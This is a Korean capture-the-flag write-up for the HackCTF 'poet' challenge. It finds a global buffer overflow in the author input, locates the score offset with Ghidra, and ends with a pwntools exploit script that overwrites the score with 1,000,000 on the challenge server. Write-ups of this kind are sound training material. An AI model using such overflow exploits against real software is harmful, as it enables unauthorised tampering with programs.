문제를 실행하면 특정 조건을 만족할 때까지 두 번의 입력을 반복해서 받습니다. 첫 번째의 경우 '시의 내용' 항목으로 입력받으며 두 번째의 경우 '시의 작가' 항목입니다.
두 개의 항목을 입력받은 후 점수가 만족되지 않았다는 출력과 함께 다시 입력 상태로 들어가는 것을 확인할 수 있었습니다.
root@3218f793af99:~/hackctf/poet# ./poet
**********************************************************
* 우리는 2018년의 시인(poet)을 찾고 있습니다. *
* 플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요! *
**********************************************************
Enter :
> one line
이 시의 저자는 누구입니까?
> test
+---------------------------------------------------------------------------+
시 내용
one line
점수:0
음...이 시로는 충분하지가 않습니다.
정확히 1,000,000 점을 획득해야만 됩니다.
다시 시도해주세요!
+---------------------------------------------------------------------------+
Enter :
>
시의 내용과 저자를 번갈아가며 입력값을 바꿔본 결과 두 번째 입력에서 긴 문자열을 입력할 경우 점수에 변화가 있는 것을 확인할 수 있었습니다.
이 시의 저자는 누구입니까?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
+---------------------------------------------------------------------------+
시 내용
test
점수:1734437990
이를 통해 overflow를 통한 특정 값을 만족해야하는 것으로 판단, 해당 조건을 파악하기 위해 정적 분석을 진행하였습니다.
정적 분석의 경우 ghidra를 사용한 decompile 결과를 분석하였습니다. 동작을 수행하는 함수는 get_poet()
, get_author()
, rate_poem()
세 개의 함수가 있었으며 점수를 만족할 경우 reward()
함수를 통해 flag 값을 출력해주는 것을 확인할 수 있었습니다.
do {
while( true ) {
get_poem();
get_author();
rate_poem();
if (poem._1088_4_ != 1000000) break;
reward();
}
puts(&DAT_00400d78);
} while( true );
점수를 비교하는 부분에서 poem.1088_4 변수와 값을 비교하는 것을 확인할 수 있었는데 전역 변수로 선언되었음을 추정할 수 있었고 1088이 의미하는 것은 시작 지점으로부터의 Offset임을 알 수 있었습니다.
즉, poem+1088에 1,000,000 값이 만족될 경우 flag를 획득할 수 있을 것으로 보였습니다. 이후 overflow가 발생하였던 get_author()
함수를 분석한 결과 poem+1024 지점부터 입력을 받는 것을 확인하였고 이는 64 byte의 padding을 이용하여 값을 조작할 수 있음을 의미하였습니다.
위 결과들을 토대로 Little Endian인 점에 유의하며 아래와 같이 exploit code를 작성하였습니다.
Exploit code에서 0xf4240으로 입력한 이유는 gdb로 분석할 때 hex 값을 기준으로 비교하였기 때문입니다.
#!/usr/bin/python3
from pwn import *
#p = process("./poet")
p = remote("ctf.j0n9hyun.xyz", 3012)
padding = "A"*64
menu = "> "
answer = "\x40\x42\x0f"
p.sendlineafter(menu, "Garbage")
payload = padding + answer
p.sendlineafter(menu, payload)
p.interactive()